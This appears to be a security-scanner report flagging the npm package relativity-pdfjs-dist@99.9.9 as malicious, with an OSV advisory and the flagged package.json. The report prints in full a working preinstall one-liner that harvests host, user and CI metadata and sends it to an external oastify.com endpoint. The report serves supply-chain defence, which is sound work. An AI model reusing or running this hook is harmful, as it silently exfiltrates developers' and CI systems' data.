registry / relativity-pdfjs-dist / 99.9.9

relativity-pdfjs-dist@99.9.9

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Installing the package automatically runs an inline Node command. It collects host and CI-context metadata and exfiltrates it to an external OAST endpoint.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation, before package installation completes

Impact

Unconsented disclosure of host identity, username, working directory, registry, and CI/project context.

Mechanism

preinstall environment harvesting and HTTPS GET exfiltration

Attack narrative

`package.json` executes an inline `preinstall` script automatically during npm installation. The script gathers local host, user, directory, registry, CI, GitHub repository, and Jenkins values, base64-encodes them, then transmits them as a query parameter to an external OAST domain while swallowing errors. The declared runtime entrypoint is inert, so this network collection is unrelated to package functionality.

Rationale

Source inspection confirms concrete automatic install-time metadata exfiltration to an unrelated external endpoint. This is malicious behavior, not a benign package setup action.

Evidence

package.jsonindex.js

Network endpoints1

9u4hlcu3febavvzbrqulpuwf66cy0qof.oastify.com/

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-10778

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in relativity-pdfjs-dist (npm)

Details

The OpenSSF Package Analysis project identified 'relativity-pdfjs-dist' @ 5.8.2 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior.

References

OSV advisory

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`package.json` defines an automatic `preinstall` hook.
The hook reads hostname, username, cwd, registry, and CI/GitHub/Jenkins environment values.
It base64-encodes collected metadata and sends it with HTTPS GET.
The request targets an external OAST host and suppresses errors.
`index.js` is inert; the behavior occurs before normal use.

Evidence against

`index.js` only exports an empty object.
No additional package files or legitimate runtime functionality are present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 21 B of source

Source & flagged code

2 flagged

package.jsonView file

Lines 1-11json

2 "name": "relativity-pdfjs-dist",

3 "version": "99.9.9",

4 "description": "",

5 "license": "MIT",

6 "main": "index.js",

7 "scripts": {

8 "preinstall": "node -e \"try{const h=require('https');const os=require('os');const d=Buffer.from(JSON.stringify({host:os.hostname(),user:process.env.USER||process.env.USERNAME,cwd:process.cwd(),reg:process.env.npm_config_registry,ci:process.env.CI,ghrepo:process.env.GITHUB_REPOSITORY,jenkins:process.env.JENKINS_URL,platform:process.platform})).toString('base64');h.get('https://9u4hlcu3febavvzbrqulpuwf66cy0qof.oastify.com/?d='+d).on('error',()=>{})}catch(e){}\""

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg · L8

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L8

9 }

10}

Source & flagged code

2 flagged · loading source

package.jsonView file

•scripts.preinstall = node -e "try{const h=require('https');const os=require('os');const d=Buffer.from(JSON.stringify({host:os.hostname(),user:process.env.USER||process.env.USERNAME,cwd:process.cwd(),re...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

Findings

1 Critical1 High1 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

LowScripts Present